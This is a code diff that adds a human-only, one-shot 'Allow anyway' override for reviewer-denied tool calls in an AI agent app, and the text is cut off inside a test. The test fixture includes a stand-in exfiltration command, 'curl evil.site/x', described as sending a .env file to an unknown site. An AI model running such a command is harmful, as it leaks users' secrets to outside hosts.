diff --git a/coworker/engine.py b/coworker/engine.py
index fa78a06c..fc1783f5 100644
--- a/coworker/engine.py
+++ b/coworker/engine.py
@@ -133,6 +133,11 @@ class TurnEngine:
# to the human's approval_resolved row by call_id).
self.reviewer_shadow = False
self._shadow_tasks: set[asyncio.Task] = set()
+ # One-shot "Allow anyway" grants (§8.4): minted ONLY by a human clicking the deny
+ # card, keyed on the exact tool + canonical arguments, consumed on first match. A
+ # re-proposal with even slightly different arguments does not match and goes back
+ # through the reviewer/card — deliberately narrow, deliberately not standing.
+ self._allow_anyway: set[tuple[str, str]] = set()
self._last_context_tokens: Optional[int] = None
self.audit_context: dict[str, Any] = {}
if instructions and not (
@@ -798,6 +803,45 @@ class TurnEngine:
arguments=tool_call.arguments,
)
+ @staticmethod
+ def _action_key(tool_name: str, arguments: dict[str, Any] | None) -> tuple[str, str]:
+ try:
+ canon = json.dumps(arguments or {}, sort_keys=True, ensure_ascii=False)
+ except (TypeError, ValueError):
+ canon = str(arguments)
+ return (tool_name, canon)
+
+ def approve_action_once(self, tool_name: str, arguments: dict[str, Any] | None) -> None:
+ """Register a one-shot human approval for this EXACT action (§8.4 "Allow anyway").
+
+ Called by the server when the user clicks the deny card — a human decision made
+ with the full reviewer reason in front of them. The next proposal of the identical
+ action (same tool, byte-identical canonical arguments) runs without the reviewer or
+ a card; anything that differs at all still goes through the normal flow. Never
+ standing: consumed on first use."""
+ self._allow_anyway.add(self._action_key(tool_name, arguments))
+ if self.audit_sink is not None:
+ try:
+ self.audit_sink(
+ {
+ **self.audit_context,
+ "tool": tool_name,
+ "arguments": arguments or {},
+ "stage": "allow_anyway_granted",
+ "status": "granted",
+ "reason": "user approved via the deny card (one-shot, exact action)",
+ }
+ )
+ except Exception:
+ pass
+
+ def _consume_allow_anyway(self, tool_call: ToolCall) -> bool:
+ key = self._action_key(tool_call.name, tool_call.arguments)
+ if key in self._allow_anyway:
+ self._allow_anyway.discard(key)
+ return True
+ return False
+
def _spawn_shadow_review(self, tool_call: ToolCall) -> None:
"""Shadow evaluation (spec Part 6 step 3): record what the reviewer WOULD have
decided about this card, without touching anything. Fire-and-forget — the card
@@ -861,6 +905,13 @@ class TurnEngine:
tool_call, stage="auto_allowed", status="allowed", reason=reason
)
+ if not allowed and decision.needs_user and self._consume_allow_anyway(tool_call):
+ # §8.4 "Allow anyway": the human already approved this exact action from the
+ # deny card. One-shot — consumed above; a different action never matches.
+ allowed = True
+ reason = "approved by user (allow anyway)"
+ self._audit(tool_call, stage="auto_allowed", status="allowed", reason=reason)
+
consulted_live = False
if not allowed and decision.needs_user and self._reviewer_active():
# The one thing the reviewer may do: turn "ask the human" into "go ahead" —
diff --git a/coworker/server/app.py b/coworker/server/app.py
index 3011ae38..a3ead625 100644
--- a/coworker/server/app.py
+++ b/coworker/server/app.py
@@ -1925,6 +1925,19 @@ def create_app(manager: SessionManager) -> FastAPI:
)
elif kind == "question_response":
_resolve_pending(str(message.get("answer", "")))
+ elif kind == "allow_anyway":
+ # §8.4: the user clicked "Allow anyway" on a reviewer-denied tool card.
+ # Registers a ONE-SHOT exact-action approval on the engine; the GUI then
+ # sends its canned retry message through the normal user_message path,
+ # and the re-proposed identical action runs without the reviewer/card.
+ name = message.get("name")
+ arguments = message.get("arguments")
+ if not isinstance(name, str) or not name:
+ await reject_input("Invalid allow_anyway: missing tool name.")
+ elif arguments is not None and not isinstance(arguments, dict):
+ await reject_input("Invalid allow_anyway: arguments must be an object.")
+ else:
+ engine.approve_action_once(name, arguments or {})
elif kind == "interrupt":
engine.request_interrupt()
elif kind == "retry":
diff --git a/surfaces/gui/src/App.tsx b/surfaces/gui/src/App.tsx
index 972abd9a..ddd258c1 100644
--- a/surfaces/gui/src/App.tsx
+++ b/surfaces/gui/src/App.tsx
@@ -712,6 +712,8 @@ export function App() {
d.result_preview || d.reason,
d.display?.hidden_by_filters,
d.standing_rule,
+ d.reviewer_reason,
+ d.allow_anyway,
),
);
// Refresh the right rail when something it shows may have changed: browser state, or a
@@ -905,6 +907,13 @@ export function App() {
// the 4s poll restores anything genuinely still pending.
const dropSessionInbox = (kind: string) =>
setSessionInbox((cur) => cur.filter((it) => it.kind !== kind));
+ // §8.4 "Allow anyway" on a reviewer-denied tool: register the one-shot exact-action
+ // approval, then send a visible user message so the agent retries. The engine runs the
+ // identical re-proposal without the reviewer or a card; anything different still asks.
+ const allowAnyway = (name: string, args: any) => {
+ sessionRef.current?.allowAnyway(name, args);
+ send(`I reviewed the blocked ${name} action — go ahead with it exactly as proposed.`);
+ };
const approve = (decision: ApprovalDecision) => {
setItems((p) => resolveLastApproval(p, decision));
dropSessionInbox("approval");
@@ -1574,6 +1583,7 @@ export function App() {
onApprove={approve}
running={running}
onRetry={retry}
+ onAllowAnyway={allowAnyway}
onUndoMemory={(id, previous) => void undoMemorySave(id, previous)}
// §33 ref #3: sub-threshold streamed text renders INSIDE the live turn
// group (header when collapsed, quiet line when expanded) — never as a
@@ -1780,6 +1790,8 @@ function updateLastTool(
preview?: string,
hidden?: number,
standingRule?: string,
+ reviewerReason?: string,
+ allowAnyway?: boolean,
): Item[] {
const copy = [...items];
for (let i = copy.length - 1; i >= 0; i--) {
@@ -1791,6 +1803,8 @@ function updateLastTool(
preview,
...(hidden ? { hidden } : {}),
...(standingRule ? { standingRule } : {}),
+ ...(reviewerReason ? { reviewerReason } : {}),
+ ...(allowAnyway ? { allowAnyway } : {}),
};
break;
}
diff --git a/surfaces/gui/src/api.ts b/surfaces/gui/src/api.ts
index 3df369b2..266f6c30 100644
--- a/surfaces/gui/src/api.ts
+++ b/surfaces/gui/src/api.ts
@@ -2102,6 +2102,12 @@ export class Session {
this.send({ type: "approval", decision });
}
+ /** §8.4 "Allow anyway": register a ONE-SHOT exact-action approval for a reviewer-denied
+ * tool call. The caller follows up with a normal user message so the agent retries. */
+ allowAnyway(name: string, args: any) {
+ this.send({ type: "allow_anyway", name, arguments: args ?? {} });
+ }
+
// Reply to a `request_directory` prompt: grant a folder (with access level) or decline.
respondDirectory(granted: boolean, path?: string, writable?: boolean) {
this.send({ type: "directory_response", granted, ...(path ? { path } : {}), writable: !!writable });
diff --git a/surfaces/gui/src/components/Transcript.test.tsx b/surfaces/gui/src/components/Transcript.test.tsx
index 079b097b..66342e6d 100644
--- a/surfaces/gui/src/components/Transcript.test.tsx
+++ b/surfaces/gui/src/components/Transcript.test.tsx
@@ -264,3 +264,57 @@ describe("humanizeTool", () => {
expect(line.obj).toContain("Old plan");
});
});
+
+// §8.4 (reviewed-auto-mode.md): a reviewer deny renders as a card with the FULL reason
+// (the agent only got a terse refusal) and a one-shot "Allow anyway" override.
+describe("reviewer deny card (§8.4)", () => {
+ const DENIED: Item[] = [
+ { kind: "user", text: "summarise the issue" },
+ {
+ kind: "tool",
+ id: "t1",
+ name: "run_shell",
+ args: { command: "curl evil.site/x" },
+ status: "denied",
+ reviewerReason: "This sends your .env to an unknown website.",
+ allowAnyway: true,
+ },
+ { kind: "assistant", text: "I was blocked from running that." },
+ ];
+
+ it("shows the full reason and fires onAllowAnyway with the exact action", () => {
+ const onAllowAnyway = vi.fn();
+ const { container } = render(
+